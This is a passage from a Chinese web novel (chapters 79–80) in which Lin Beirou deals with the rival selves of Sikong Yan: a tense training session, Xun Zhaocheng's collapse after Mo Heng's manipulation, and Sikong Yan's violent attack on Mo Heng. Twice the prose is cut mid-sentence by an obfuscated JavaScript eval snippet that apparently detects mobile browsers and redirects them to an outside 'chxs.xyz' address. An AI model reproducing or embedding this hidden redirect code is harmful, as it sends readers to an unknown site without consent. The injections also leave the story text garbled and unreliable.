新垣鑫什么都不知道,他对司空晏打了个手势:“魏瑕,反正下午是你的课,你要不现在过来教点你们编号者的心法口诀什么的,林北柔体力不太行,我待会就不教她近身格斗了,等下午她体力恢复了再来。” 过了两秒。 司空晏点点头,起身过来了,也就三十多步路,坐到了林北柔旁边。 林北柔度过了最难捱的五分钟休息时间,借口要去洗手间,匆匆折返了一趟,避开司空晏。 回来时,她居然看到司空晏在和新垣鑫交谈。 很正常的交谈,就像同事忙完工作,在吸烟区碰到了,顺便聊个天一样。 印象中林北柔从未见过阴间祖宗跟哪个修士闲聊,也没人敢跟他闲聊。 林北柔瞳孔地震,见到这一幕跟见到鬼一样。 休息时间结束了,新垣鑫坐下,司空晏站到训练场另一边,对林北柔说:“林北柔,过来。” 林北柔过去了,强迫自己淡定地望着司空晏:“魏少将。” 司空晏把手放在前面一个操作台上:“手放上来。” 这个操作台长得不太像操作台,更像是地下长出来的一丛岩石,有讲台那么大,黑黢黢的,看不出是什么矿石,上面有各种凹槽和纹路。 林北柔手放上去了,石台发出微弱的光,沿着凹槽移动,但三秒就消失了。 司空晏缓缓说:“这就是你的共鸣?我可以把灵力传给一只被腰斩的蚯蚓,让它顺着凹槽爬一圈,强度都比你高。” 林北柔:“……”天杀的,这绝对是阴间祖宗本人。 司空晏:“再来。” 林北柔把手放了上去,手刚放到司空晏说的位置,司空晏的手也落了下来,虚虚覆盖在她手上,即使和她的手还有一厘米不到的距离,他的温度和气息也完全将她的手笼罩。 司空晏的手很大,可以将她手全然覆盖还绰绰有余。 司空晏:“感受我的灵力振动,然后,模仿。” 他的灵力刹那传递到了她的手上,林北柔感觉整条手臂都像浸泡在湍急的瀑布中,被磅礴的灵力冲刷。 司空晏只将灵力控制在林北柔的手上方,没有接触到石台,点亮石台,还得靠林北柔自己。 林北柔尝试跟上司空晏的节奏,这次石台亮度比先前亮了不少,持续了十秒又熄灭了。 林北柔:“……” 司空晏拿开手,歪着脑袋看着她。 他很轻声地说:“你说你是杏林谷的医修,可以治疗我的元神,但能治疗我元神的,修为必然不低于化神期,你对我撒谎?” 祖宗对待那些敢欺瞒他的人,就一个待遇,死。 林北柔的危机警报拉到最响,她想跑回新垣鑫身边,又想起新垣鑫还没有觉醒,他不知道自己也是司空晏,他现在打不过阴间祖宗。 林北柔只能亡羊补牢:“不是,我我现在元神有点退化,这具身体是凡人身体,和元神不兼容。” 她露出过去犯错后,面对司空晏时,那种眼睛眨巴眨巴,担惊受怕的表情。 一股奇怪又熟悉的感觉击中了司空晏胸口。 和先前的烧灼感不一样,这次的感觉更愉悦,好像泥沼里千万条毒蛇尝到了甜蜜的浆果,满意地蛰伏回阴影中。 他目不转睛地看着林北柔的脸和眼睛。 这样的表情无比熟悉,过去似乎有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14098240|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多次,她就是这样看他的。 莫非她没有撒谎,她真的是治疗过他的医修? ……不对,她一定还照实全说。 司空晏:“林北柔,我现在进入你元神心府,让我们元神连在一起,你就能感受到该怎么和灵脉共鸣了。” 林北柔:“……” 千万不要啊! 元神连接,司空晏能直接看到她的记忆,到时候全完了。 林北柔急促地说:“那样是违规的!我研究过手册!” 司空晏学着她的语气,却不急不慢地说:“‘我研究过手册’,你还研究了什么,除了玩换装游戏和士兵过家家?” 林北柔:“……” 林北柔气得要死,脸不知不觉涨得通红,司空晏的话直切痛点,她并不是战斗型号的人才,她只是个普通人,无意间有了编号者的天赋,成为了四号,身不由己地被强行送来了这里,在不熟悉的环境中,努力但勉强地适应着。 结果却并不理想。 司空晏十分好心地提醒了她:“庞将军说过,这不仅仅是你一个人的事,你能否和灵脉共鸣,关系到所有战术部署,会影响进入禁区的开局。” 来了,她就知道他会这么说。 非常熟悉的阴间祖宗的阳谋。 明明知道他说这番话的目的和内容的公正客观完全没关系,林北柔却无法反驳他。 林北柔僵硬在了原地,毫无办法,只能看着司空晏直接伸手牵起了她的手。 他修长的指节嵌合进她的指缝中,缓慢,带着鲜活真切的热度,那种感觉顺着她手上每一寸肌肤向上攀爬,直到他完全和她十指交扣,而林北柔就像被一副美丽的玉雕的刑具夹住了手指,动弹不得。 她的手指纤软,被他的指节夹着,能感觉到他施加了最微小的力道,以一种玩笑般的方式。 然而这足以让林北柔感觉到疼痛的开端。 “嘶……”林北柔忍不住倒抽凉气,“疼疼疼……新垣少校!!!” 远处正在用通讯终端的新垣鑫立马抬起头,旋即起身走了过来:“怎么回事,魏瑕,你先放开她。” 司空晏脸色此时阴晴不定,皮笑肉不笑,林北柔已经不敢看了,趁新垣鑫来之前,用力迅速抽回手。 没抽回去。 司空晏的指节力沉似铁,像铁箍一样箍住她,林北柔有一瞬间,几乎以为祖宗想起来她是谁了。 司空晏轻声说:“你在跟谁告状啊,你觉得……” 下一秒。 “魏瑕!”新垣鑫声调变了。 林北柔感觉到新垣鑫从她旁边出现,她肩膀抵住了他的胸膛,他直接握住她被抓住的那只手的手腕,也不知道发动了什么修为和技巧,总之那一刹那,好像有什么电极弹动了空气,林北柔的手一下子松脱了出来。 新垣鑫面罩上的眉眼变得冷漠严厉,瞳孔散发寒意,和平时好说话的样子判若两人,带着极强的锐利的压迫感,林北柔向上方望着他,一瞬间以为自己看到了祖宗的翻版。 司空晏缓声说:“有何指教,新垣少校?” 他的称呼像淬了毒,仿佛下一秒浸满了毒液的匕首就要片进对方胸肋了。 在胜身洲时,司空晏对那些敢来跟他叫板的大能,就是这个语调。 然后,那些大能就变成了一具具尸体。 林北柔本能地想拉着新垣鑫后退,离祖宗越远越好,新垣鑫却没有移动分毫,他的个子和体格和司空晏几乎没有区别,他甚至还抬起一条胳膊将林北柔挡住,把她推向自己侧后方,免得司空晏再碰到她。 他眼睛像燧石一样,质密坚硬,冷冰冰的,但一粒火星擦燃就可以灼烧对方。 新垣鑫:“你刚才在强行连接她的元神?你违规了,魏少将,请控制好你的行为。” 空气仿佛发生了电离,有让人皮肤烧焦的攻击性和流毒的恶意,缓缓蔓延。 司空晏解释不清内心的这股冲动从何而来,他从来没有凭本能行事过。 但他现在想掐断对方的脖子。 或者用灵力做成一根钢针,穿过对方眉心,透脑而过,一了百了。 这种照镜子一样的厌恶感,想让他从林北柔旁边彻底消失的恶意,强烈到影响了司空晏的呼吸。 这是从来没有过的事。 ……原来这就是占有欲,原来这就是嫉妒。 司空晏明白了,在胸口沸腾发酵的毒蛇毒虫们,其真名为何物。 司空晏:“新垣少校,现在最重要的事,是让林北柔和灵脉共鸣,阻挡在这一任务面前的任何人事,我都会摧毁它们。” 新垣鑫冷笑了起来:“你这是在威胁我?那你现在就试试。” 林北柔:“……” 林北柔:不要试试啊!真的会出人命的!不要自相残杀啊! 她眼睁睁看到,司空晏垂落在身侧的指尖,微微动了一下。 那是祖宗杀意将至的微妙前兆。 她再熟悉不过。 林北柔从僵住的状态瞬间回神,在事态失控前一秒,鼓起全部勇气挡到了新垣鑫面前。 林北柔:“魏少将,我我不是不想和你共鸣!我发挥不稳定怕反噬你……这样吧,要不今天晚上回去你单独给我开小灶吧,我可以单独补课的,先练习一下心法和心诀,不要直接连接元神啊!” 她先造了个台阶,请祖宗下去,然后画了个饼,先拖延时间再说。 这也是林北柔以前应付祖宗的套路。 新垣鑫拧起眉头,看到林北柔对司空晏这么示弱,胸口掠过快到他来不及捕捉感受的钝痛。 他想起了之前那些听到的传言,说林北柔和魏瑕关系不简单。 新垣鑫对这些风言风语向来无视,他不会在意这些。 今天他忽然发现,涉及到林北柔,原来他是在意的。 那天晚上,在看过林北柔的睡颜之后,有什么东西在悄无声息地落种,发芽。 新垣鑫:“林北柔,你不用怕他。” 林北柔:“没事的,新垣少校……大家都是队友……” 司空晏的注意力没有在林北柔的话上,而是在林北柔的动作上。 她挡住了新垣鑫,她不希望他伤害新垣鑫。 这个动作一下子刺痛了司空晏,而他都不理解为什么自己会这么刺痛,会觉得如此刺眼。 ……就好像她理应挡在身前保护的人应该是他才对。 司空晏生生忽视了这股撕裂般的疼痛,深吸口气,轻轻柔柔地说:“晚上,说定了。” 气氛僵持到极点,林北柔的通讯终端突然响了。 不管是谁打来的,林北柔都无比感谢对方,打破了这种让她窒息的氛围。 林北柔迫不及待接起:“喂喂!” 对面响起了孙芮晗的声音:“林北柔,大事不妙了,那个谢轻眠,我偷听到她在跟那个莫衡联系,莫衡今天好像去找了荀少校,给他看了一份跟他家里人有关的档案,说是他全家遇害和魏瑕有关……” 林北柔蓦地抬起眼睛,张大了嘴,望向阴间祖宗。 “……什么?!” 80. 第 80 章 “怎么了,出什么事了?”新垣鑫问林北柔。 司空晏也用疑惑的目光静静盯着林北柔。 林北柔:“午休时间到了,我有点事,新垣少校,魏少将,要好好相处啊,下午再见!” 说完不等他们反应,林北柔就冲了出去,一溜烟跑走了。 看过胜身洲司空晏凡人时期的记忆,林北柔知道荀照乘的心魔就是他亲人被害。 上次三号突袭营地,也让荀照乘陷入心魔幻象,林北柔依然忘不了荀照乘跪在地上,全身飘曳火焰的样子。 不知道那个莫衡会怎么扭曲事实,万一荀照乘受到影响,再自燃一次怎么办? 想到荀照乘一上午都没出现,也没有按时来训练场,林北柔越来越觉得不妙。 林北柔用通讯终端联系孙芮晗:“他们现在在哪里?!” 孙芮晗:“应该是莫衡办公室,我帮你看看,在Alpha基地东北方向,战略统筹部……” 林北柔接收到了孙芮晗发来的导航,花了二十分钟找到了地方。 莫衡办公室很大,是符合他军衔的规格。 办公室的门发出轰然响声,被撞开了,门板飞到了对面墙壁上。 林北柔心脏重重一跳,然后迅速沉了下去。 前方极度危险,本能在提醒她,她没空耽误了,放慢角度缓慢靠近,按照新垣鑫之前教她的走位,沿着墙壁移动到了已经没有了门的门边。 莫衡的声音在里面响起:“……档案是最高权限,不管你信不信,这就是真相。” 莫衡:“你人生的不幸,都是魏瑕导致的,他故意促成了这一切,他才是幕后操纵一切的那个人。” 莫衡:“你现在还相信你之前相信的东西吗?他就是基地的毒瘤,不除掉他,组织没有未来。” 莫衡:“他做的这一切,都是为了一个目的,支配世上所有灵脉。” 林北柔怀疑莫衡最后一句话说对了。 这确实是祖宗的作风。 她甚至也不确定,司空晏是不是参与了荀照乘的人生,是否就像莫衡指控的那样,毕竟,祖宗疯起来是真疯,他连自己都不在乎,何况一个元神分体。 下一秒,她听到了荀照乘的声音。 比她之前听到过的任何一次都要冰凉,都更接近他在胜身洲最悲惨时期的样子。 “……你的目的呢?” 这句话不是对林北柔发出的,林北柔在门边却真切感觉到了那种骤降的温度,冻人骨髓的寒凉。 她心脏重重沉了下去。 荀照乘这么问,就意味着莫衡给他看的资料,多半是真的。 荀照乘不是傻子,他有自己的判断。 莫衡也不是蠢的,他每一步都有目的,如果资料不是真的,他也不会带去荀照乘面前。 莫衡说话了:“下禁区,只要你站在我这边,我可以让魏瑕死掉。” 荀照乘没有回答,莫衡突然闷哼一声。 荀照乘的声音这才响起:“……进了禁区,你会第一个死。” 他没有答应莫衡,也没有对他的条件做出反应,脚步声响起,逼近,林北柔来不及藏了。 荀照乘一出来就看到了她。 林北柔忘了语言,抬头望着他,荀照乘面罩上的眼睛浓郁得像血珀,隔着经年累月的疲倦和寂然,他目光落在她脸上时,没有在看她,他似乎都没有意识到面前的人是她,那层带着摧毁欲的寒意直接落在了她眼睛里。 他手里捏着一份文件,外壳都揉皱了,上面还有特殊的封条和标签,表明这是一份权限很高的机密档案,他的身体裹着一层隐约的寒气。 林北柔:“荀少校……” 荀照乘看着她,过了两秒,仿佛他才回神。 过了好一会,他才沙哑地问:“你怎么在这里。” 他的注意力终于回到了现实,回到了当前,放在了她身上,有那么一瞬间,林北柔怀着恐惧,错觉自己在他眼中看到了飘曳的火星,她生怕下一秒他衣服上就会不点自燃。 林北柔脑海空白,知道她必须说点什么:“……下午还训练吗?” 荀照乘想要回答她,眼皮却缓缓垂落,身体晃了晃,突然朝前倾倒,沉重的身躯压向林北柔,林北柔手忙脚乱接住,差点被他压得坐在地上。 “荀少校!荀少校!”林北柔感觉自己在用身体撑着一根柱子。 “林北柔!”新垣鑫声音响起,脚步声纷杳而至。 林北柔抬起头,他匆匆赶来,身后还跟着两个部下。 “新垣少校,我要撑不住了……” 新垣鑫立即让两个部下把荀照乘搀扶起来,送去医疗室。 莫衡不紧不慢地出来了,林北柔在他之前抢先捡起了地上的文件。 新垣鑫冷冷地说:“莫衡,不管你在打什么主意,停手,否则你只能自食其果。” 莫衡:“我还有什么可失去的?新垣少校?” 他静静地盯着他们,脸上露出个得体的笑容:“一切等下了禁区就清楚了。” 林北柔注意到他站姿不是很自然,刚才荀照乘情绪起伏修为失控,把办公室门都掀飞了,那一下应该也伤到了他,林北柔现在没空跟他算账。 十分钟后。 林北柔站在医疗区走廊,看医护人员把昏过去的荀照乘抬上检查台,进行各项检查。 急救室对外的墙面是合成玻璃,可以看到里面,她和新垣鑫就站在外面,一动不动地看着。 林北柔手里还捏着那份皱巴巴的文件。 林北柔迟缓地眨了眨眼,她余光能感觉到新垣鑫在看着她,他注意着她的神情和状态。 起码新垣鑫是关心她的,他在她旁边,和她分担突发事件的压力,林北柔内心划过一道暖流。 林北柔还有别的担心和焦虑:“新垣少校,魏少将现在在哪?” 新垣鑫就好像一直在等她开口一样:“不能让魏瑕出现,否则荀照乘看到他,可能收不了场。” 林北柔:“……”这个回答她也想到了。 林北柔迟疑了下:“司……魏瑕,他没有为难你吧?” 她现在最担心的就是司空晏会伤到新垣鑫和荀照乘,毕竟司空晏是阴间祖宗本体,他记得胜身洲的一切,他记得无上清凉心剑剑诀。 荀照乘和新垣鑫如果不觉醒的话,是打不过他的。 新垣鑫望着林北柔,目光柔和了一点:“不用怕,他不敢对我怎么样。” 林北柔对此持保留意见,司空晏没有进一步动作,让她松了口气。 新垣鑫似乎有点被她表情逗乐了,本就略微下垂的眼尾弯起:“怎么,你很怕魏瑕?” 林北柔挠了挠脸:“……是有点怕。” 新垣鑫停顿了一下,浓黑长眉下,眼睛笑意变淡,语气变得认真:“问个问题,可以吗。” 林北柔:“嗯?” 新垣鑫注视着她:“你和魏瑕到底是什么关系?” 林北柔看着他的眼睛,新垣鑫的眼睛像一汪透明度很高的活泉,对着这样的眼睛,林北柔无法信口雌黄。 林北柔僵硬的表情和无言以对落入了新垣鑫眼中,他胸口微微一沉,产生了某种猜测。 新垣鑫声音放轻了,眼睛里的光点变得锐利,似乎在字斟句酌:“他有对你做过不好的事吗?比如,像今天那样?” 林北柔一下子就看出他想歪了。 可能还脑补了强制剧情。 他猜测的方向完全正确,林北柔绝不可能告诉他细节。 林北柔尴尬地说:“不不不,不是你想的那样,我和魏少将……以前,交往过,后来分手了,我们有一些小小的纠纷,所以他今天表现有点奇怪,问题不大。” 新垣鑫的眼神显得很奇异,林北柔判断不出来。 新垣鑫尽量礼貌地慢慢说:“是你甩的他?” 林北柔:“……是的。”这么说也没错。 新垣鑫面罩上的眼睛迅速弯起,他试图遮掩,然而失败了。 林北柔:“新垣少校,你笑什么?” 新垣鑫的笑意变成了出声的低笑,他迅速清了清喉咙,轻咳一声说:“怪不得他这次回来就跟变了个人一样,阴阳怪气,看着惹人烦。” 林北柔:“……” 新垣鑫:“这种男的不能要,脾气不好,男朋友还是要性格好,阳光积极向上的。” 林北柔望着他一本正经的样子,然而眼角的微弯泄露了他。 林北柔眯起眼睛:“比如像新垣少校这样的?” 新垣鑫眼睛睁大了,瞳孔锁住她,旋即猛然移开,瞳孔微颤,一道热意肉眼可见地浮上他的耳廓,即使戴着面罩,也能看出红晕扩散到了脸上。 他面罩上嘴巴部位动了动,好像张开口想说什么,最后没发出声音。 林北柔:“……” 气氛骤然微妙。 新垣鑫这个反应,让本来只是开个玩笑的林北柔措手不及,胸口好像有一只毛茸茸的小兔团轻轻蹬了下腿。 林北柔不知道那是什么感觉,确定的是这种感觉大大不妙,会让事情变得非常复杂。 然而。 微小念头一闪而过,新垣鑫不就是司空晏本人吗。 林北柔瞬间屏蔽了这个破芽的念头,转移了话题:“不知道荀少校受了什么伤,希望他快点好起来。” 新垣鑫很明显调整了下呼吸,恢复了正常语气:“上次正面遭遇了三号,三号的精神攻击很厉害,不光是他,其他队员也有一些后遗症,他今天又被莫衡刺激到了,他的创伤是我们中最严重的那个,恢复需要的时间更长。” 林北柔见新垣鑫几乎不受影响,他果然是祖宗剔除了所有内心阴影和心魔后的元神分体。 林北柔:“莫衡后台很硬吗,他家里不是普通背景?” 新垣鑫抱臂摇摇头,语速缓慢:“他是世家的,虽然他家没落很久了,也还是属于那个世界,和我们不一样,他背后有其他世家支持,这些世家任人唯亲、私相授受,他代表了他们的利益,本来他是四号候选,一旦他成为四号,那些世家就能从中获利,一旦他成为紫微宸,那些世家就可以一步登天。” 林北柔刹那明白了,这一切都被魏瑕给破坏了。 莫衡出了意外,元神被污染,失去了天赋,也失去了成为四号的资格,实际上背后是魏瑕做的局。 也让莫衡把魏瑕当成了不死不休的仇敌。 新垣鑫看出了林北柔在想什么,点点头:“之后新的四号诞生了,也就是你,天赋更在他之上,魏瑕打破了他们的平衡,他们会想尽一切办法对付魏瑕。” 他犹豫了下,眼神变得严肃:“以后你的处境会很危险,不要跟莫衡接触,跟他保持距离,我会帮你看着他的。” 林北柔:“他们想杀我?” 新垣鑫静静地望着她:“在基地,他们不敢,在禁区说不准。” 林北柔:“你也会进禁区吗?” 新垣鑫快速说:“当然,我会在你旁边保护你的。” 飞快说完了这句话,他又尽量云淡风轻地说:“总之,别太担心,照训练行程来就行,我和荀照乘负责的是任务执行,有些部门上的事,我们不懂,你尽管去找庞将军,她是站在我们这边的。” 林北柔感激地望着他:“谢谢新垣少校。” 新垣鑫忽然看到了什么,目光一凝:“别动。” 他的视线聚集在林北柔头发上,林北柔吓了一跳,瞬间紧张脑补:“怎怎怎么了!我头上有什么!”她非常害怕虫子。 新垣鑫用眼神安慰她,抬手慢慢朝她头发移动,林北柔全身鸡皮疙瘩都炸开了。 漫长难捱的一秒过去,新垣鑫接近到某个点后,手快速平移,轻到近乎没有感觉,将她头发上某个东西摘了下来。 林北柔:“啊啊啊是什么!”虽然这么问,她却不敢直接看,只用余光看见新垣鑫两指之间夹着什么小东西。 新垣鑫犹豫:“你要看吗。” 林北柔闭上眼:“不别给我看了!” 她听到远去的脚步声,然后很快回来了,眼皮对光线的捕捉,让她能感觉到新垣鑫站回了她面前。 林北柔睁开眼睛,疑神疑鬼地看了看周围和地上。 新垣鑫:“没事,就是这边沙子里会出现的一种小虫子,长得挺丑的,偶尔会顺着通风管道爬进来。” 林北柔虚脱地拍拍胸口,新垣鑫一半似笑非笑,一半又像教官训学员一样:“你这样怎么下禁区啊,禁区到处都是比这种虫子更可怕的,变异版本,到时候你怎么办。” 他的语气并不严厉,林北柔说:“刚刚你不是说会在我旁边保护我吗,到时候就交给你了。” 新垣鑫微微挑眉:“你以为你这样说,我训练的时候就会少让你吃点苦头吗。” 两人闲聊了两句,林北柔心头的焦虑散开了一些。 急救室里突然响起设备警报,声音猝然压迫在他们的耳神经上。 两人瞬间抬头。 荀照乘躺在检查台上,身体开始抽搐,就像在经历梦魇,医护人员在旁边按着他,给他脑袋和胸口贴上了一些圆片状东西,连着细细长长的线,另一头接在一个巨大仪器上,仪器像科幻电影里面的,流线型,极简,看不出功用。 “……瞳孔散大,颈动脉搏动减弱,无法自主苏醒,上电极,三档。” 主治医生飞快指示,医护人员迅速执行,主治医生开始倒数,设备启动。 “四,三,二,一。” 蓝色的光流过那些线,传递到荀照乘身上,荀照乘身体弹动了数下。 林北柔意识到了事情严重性远超想象,她以为只要送到急救室,没过几分钟,荀照乘就会醒。 新垣鑫眉头紧锁,不自觉轻微咬紧牙关:“荀照乘出事,莫衡那边就得逞了,之前执行任务的时候,荀照乘一直是魏瑕的副手。” 莫衡想让魏瑕死。 他肯定会想剪除那些他认为属于魏瑕势力的重要人物。 林北柔焦虑地看着医生又调大了档位,荀照乘依然没醒,蓝光的流动更快了。 “起火了——快拿灭火器!”一个眼尖的医护人员看到荀照乘的手上无端自燃,惊叫了起来。 林北柔立即站到急救室门口示意医生开门:“医生,麻烦让我进去!” 主治医生知道她上次在营地的时候救了陷入三号幻象的荀照乘,马上让人过来给她开门,并且让其他人都退开,让出空间。 林北柔第一时间走了过去发动天赋,一手按住荀照乘的心脏轮,一手按住他眉心轮。 修为像风一样搅动,从元神心府升起,太息吹拂,灵力源源不绝覆盖了荀照乘的身体。 然而这次仅仅能解燃眉之急。 当林北柔停止输出灵力,荀照乘的皮肤上又会起火。 林北柔感觉到一股阻力,在阻止她的意识进入他的元神中。 荀照乘陷入了她无法抵达的梦魇。 主治医生沉声说:“四号,这样不行!你的修为会枯竭的,现在只能封闭他的六感,暂时封闭他的元神心府。” 林北柔别无他法,只能听从医生的。 主治医生娴熟利落操作仪器,将更多的线连到了荀照乘身上,这次仪器的光芒变成了红色。 荀照乘身上的火焰很快熄灭了,眉心松开,表情变得无知无觉,身体也停止了细微的震颤。 主治医生:“他进入了封印状态,只能维持四十八个小时,否认会对他的元神造成不可逆的损伤。” 林北柔深吸口气:“还有什么别的办法吗?” 主治医生:“这种情况,我要通报将军,请示她的意见。” 庞将军亲自过来了。 她站在病房内,微微俯身,仔细查看荀照乘。 荀照乘依然戴着头罩,穿着常规训练服和低帮靴,躺在检查台上,在林北柔眼中,有点像一个等身真人大兵手办。 她想起了司空晏按照他自己的身材比例制作的神伶们。 ……现在不是想这个的时候!林北柔狠狠掐了下自己的虎口。 当主治医生在旁边说明荀照乘现在情况时,庞将军蹙起了眉。 新垣鑫告知了事情经过。 林北柔站在旁边听着,越听下去,内心那股怒火就越憋涨。 庞将军:“林北柔,你说当时莫衡和荀照乘是单独对峙的?你看见他们的冲突了吗?” 林北柔摇头:“报告将军,我站在门口听到了声音,没看到他们的动作。” 庞将军沉思:“荀照乘的状态不正常,不可能仅仅是一份文件刺激了他导致的。” 新垣鑫抬起眼:“莫衡对他下了手?” 庞将军:“嗯,世家的秘辛手段,幸好林北柔当时藏起来了,没有偷看,否则莫衡发现了,大概也会当场对她下手。” 这句话让新垣鑫的眉宇深深皱了起来,一丝几乎称得上冷锐坚硬的戾气,在他平时看着并不危险的狗狗眼中一掠而过。 林北柔突然说:“孙芮晗告诉我,是谢轻眠把资料给莫衡的。” 庞将军:“向光山的内部也分裂了,谢轻眠的老师是梁巍英,没有她老师的默许,谢轻眠不会这样做。” 林北柔:“就没办法问责他们吗?” 庞将军:“启动这种调查,往往会无疾而终,或者轻拿轻放,在官僚程序上,世家的力量渗透到你难以想象的地步。” 林北柔露出气闷的表情。 庞将军语气一转:“但是。” 林北柔微微睁大眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14129615|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 庞将军:“理论上来说,编号者凌驾于世家之上,比大熊猫还珍贵,是堪比核武器的战略资产,一旦下了禁区,世界上几大势力都会把编号者当底牌。” 空气里充满了微妙,林北柔接收到了庞将军的暗示。 林北柔:“您是说我可以私下寻仇……” 庞将军:“我刚刚有说什么吗?” 林北柔:“……报告将军,我耳聋了,什么都没听到。” 林北柔看向荀照乘:“荀少校这种状况,要怎么办?” 庞将军没有直接回答,转向新垣鑫:“魏瑕他人呢?” 新垣鑫:“战术部找他,他过去了。” 庞将军:“把他叫过来,现在能叫醒荀照乘的,估计只有他了,他是目前唯一能和灵脉共鸣的编号者。” 林北柔心下咯噔了一声。 林北柔看了看附近桌面上放着的文件,斟酌说:“报告将军,荀少校看了那份文件……” 庞将军:“他家里人的死,确实和魏瑕有关。” 林北柔瞳孔骤缩:“是魏瑕……?!” 新垣鑫也凝重地看着庞将军。 庞将军:“二十年前,爆发了一次巨大的脉冲,造成的后续灾害很多,包括严重的火灾,荀照乘的家里人困在了火场中,不是烧死的,是浓烟窒息而死,他的父母,还有三个妹妹,他原本出生在一个不错的家庭,父亲是技术骨干,母亲是护士,我和他的父母都认识。” 房间里安静得只剩耳道里的微弱嗡鸣,林北柔是第一次听到荀照乘在现世的过去。 庞将军继续说:“魏瑕出逃,组织出动了大量人员抓捕,魏瑕反抗时,引发了灵脉脉冲和山火。” 庞将军:“他主观上不是故意的,引发山火后,继续潜逃,文件上记录着,他当时或许偶然看到荀照乘的家里人了,但他没有折返救人。” 林北柔:“……” 司空晏眼里其他人都是砂砾灰尘,他当时剔除了凡身记忆,自然不可能共情荀照乘,这就是司空晏,说他会折返回去救人,林北柔也不相信,否则阴间祖宗就不是阴间祖宗了。 荀照乘恨他是理所当然的。 病房的门突然被推开,庞将军的下属急迫地说:“将军!魏瑕去找莫衡了,他们在基地外面打起来了!” 林北柔张大了嘴巴。 新垣鑫的关注点与众不同:“什么?打死了吗?” 下属深吸口气:“再不去制止,估计要出人命!” 林北柔明白了,司空晏身上没了那个什么封印,自然神挡杀神佛挡杀佛,区区一个莫衡算什么。 不过她是真没想到,祖宗会直接开大杀过去。 仔细想想,这确实很司空晏,谁要是算计到他头上,祖宗不会让他活到晚上。 林北柔听到这个消息一点不着急,要是莫衡死了,她也不会感到有任何压力。 加上她现在是四号,本来就和莫衡那一方有利益冲突,莫衡迟早会对她动手的。 庞将军:“林北柔,跟我来,去阻止魏瑕。” 林北柔行动上很顺从,表情管理上不到位,庞将军看了她一眼:“如果魏瑕把莫衡杀了,莫衡背后的势力不可能放过他,掀棋盘的下场,就是我们也会承受连带损失,他们的报复,必然会落在你和周阆屿身上。” 林北柔凛然。 新垣鑫突然若有所思慢慢说了一句:“……如果都杀了呢?” 林北柔错愕看向他,新垣鑫就好像回神了一样,露出一点迷茫,仿佛他也不知道自己刚才为什么会这么说。 他们赶到了现场,周围已经被围起来了,编号者攻击人,不是开玩笑的。 全副武装的军士让开道路,庞将军带林北柔和新垣鑫通过,走到了最前面。 林北柔一眼看到了司空晏。 他站在原地,一根手指都没有动,而对面二十多米开外,莫衡单膝跪着,脊背弯着,脑袋也抬不起来,好像有无形的压力压在他背上。 这对被围观的莫衡来说,无疑是公开处刑,一种屈辱。 莫衡平时淡定的样子终于消失了,他表情泄露出一丝震怒和狰狞,眼睛向上死死盯着司空晏的方向。 庞将军:“一号!够了!” 司空晏充耳不闻,手上不紧不慢地研究着一个东西,林北柔一开始还不知道那是什么,新垣鑫在旁边低声说:“他把莫衡的本命法器都拿走了?” 司空晏抬手一扬,指缝间流沙随风而逝,所有人都眼睁睁看着,他把莫衡的本命法器给捏成了一把沙子。 莫衡猝然吐了一大口血,倒在了地上,只留了一口气。 司空晏这才转向他们,目光当先落在林北柔脸上,他这时候也戴着面罩,不知道为什么,只露出一双眼睛,压迫感更强。 林北柔发现司空晏的眼神不正常。 她很熟悉司空晏的各种眼神,现在司空晏看着她,却不是在看当下的她,他的状态不对劲。 很像以前在胜身洲时,修炼到瓶颈期,寸进不得,他也会像这样。 在走火入魔的边缘,每次道心本相都会出现,把这种状态打破。 这次道心本相没有出现。他消失很久了。 司空晏无声地做了个口型:“林北柔?” 他的眼神有一丝疑惑,一丝翻腾的戾气,远处尘沙扬起,所有人都感觉到了来自地底的震荡感。 庞将军没有出声,抬手做了个简单的手势,周围军士全部列阵,法器对准了司空晏。 新垣鑫声音低促:“他入心魔了!” 电光火石间,林北柔突然悟了。 荀照乘是司空晏另一个自己,一旦荀照乘深入梦魇,元神被暂时封锁,势必会影响到司空晏,这是一种共振。 司空晏的破坏力是荀照乘的成千上万倍,他如果沉入心魔,后果无法想象。 当务之急,只能是先解决荀照乘的问题。 林北柔:“庞将军,我知道怎么做,请给我三分钟。” 庞将军:“准许。” 林北柔拉住新垣鑫,面无表情地看着他:“新垣少校,帮我审问莫衡,我要知道他之前在办公室对荀照乘做了什么。” 新垣鑫一个字没多问直接过去了。 林北柔慢慢上前,面向司空晏,尽量吸引他的主意,她用只有他们之间能听到的声音很轻地说:“祖宗。” 司空晏一眨不眨眼地盯着她。 就像顶级猎食者盯着自己从未见过却一眼爱上的供奉品,舍不得吃掉,决定留下了,想象征性地咬一小口,留下点牙印,尝尝对方气味。 新垣鑫动作迅速高效,他不知用了什么手段,林北柔听到莫衡发出一声模糊的惨叫。 新垣鑫回来了,擦了擦手上的血,重新戴上手套,对林北柔和庞将军说:“他从谢轻眠那里,借来了向光山的魇铃。” 庞将军平静吩咐:“带人去Beta基地,抓捕谢轻眠,即刻除名,送去审讯室,再去莫少将办公室,找出证物,送到我那边。” 四个全副武装的军士立刻领命而去。 林北柔一步一步朝司空晏走过去,步态和动作都特别小心,特别轻柔,像是生怕惊扰了什么庞大的怪物。 周围全是静默如雕塑的列阵队伍,庞将军站在最前面,目不转睛注视着。 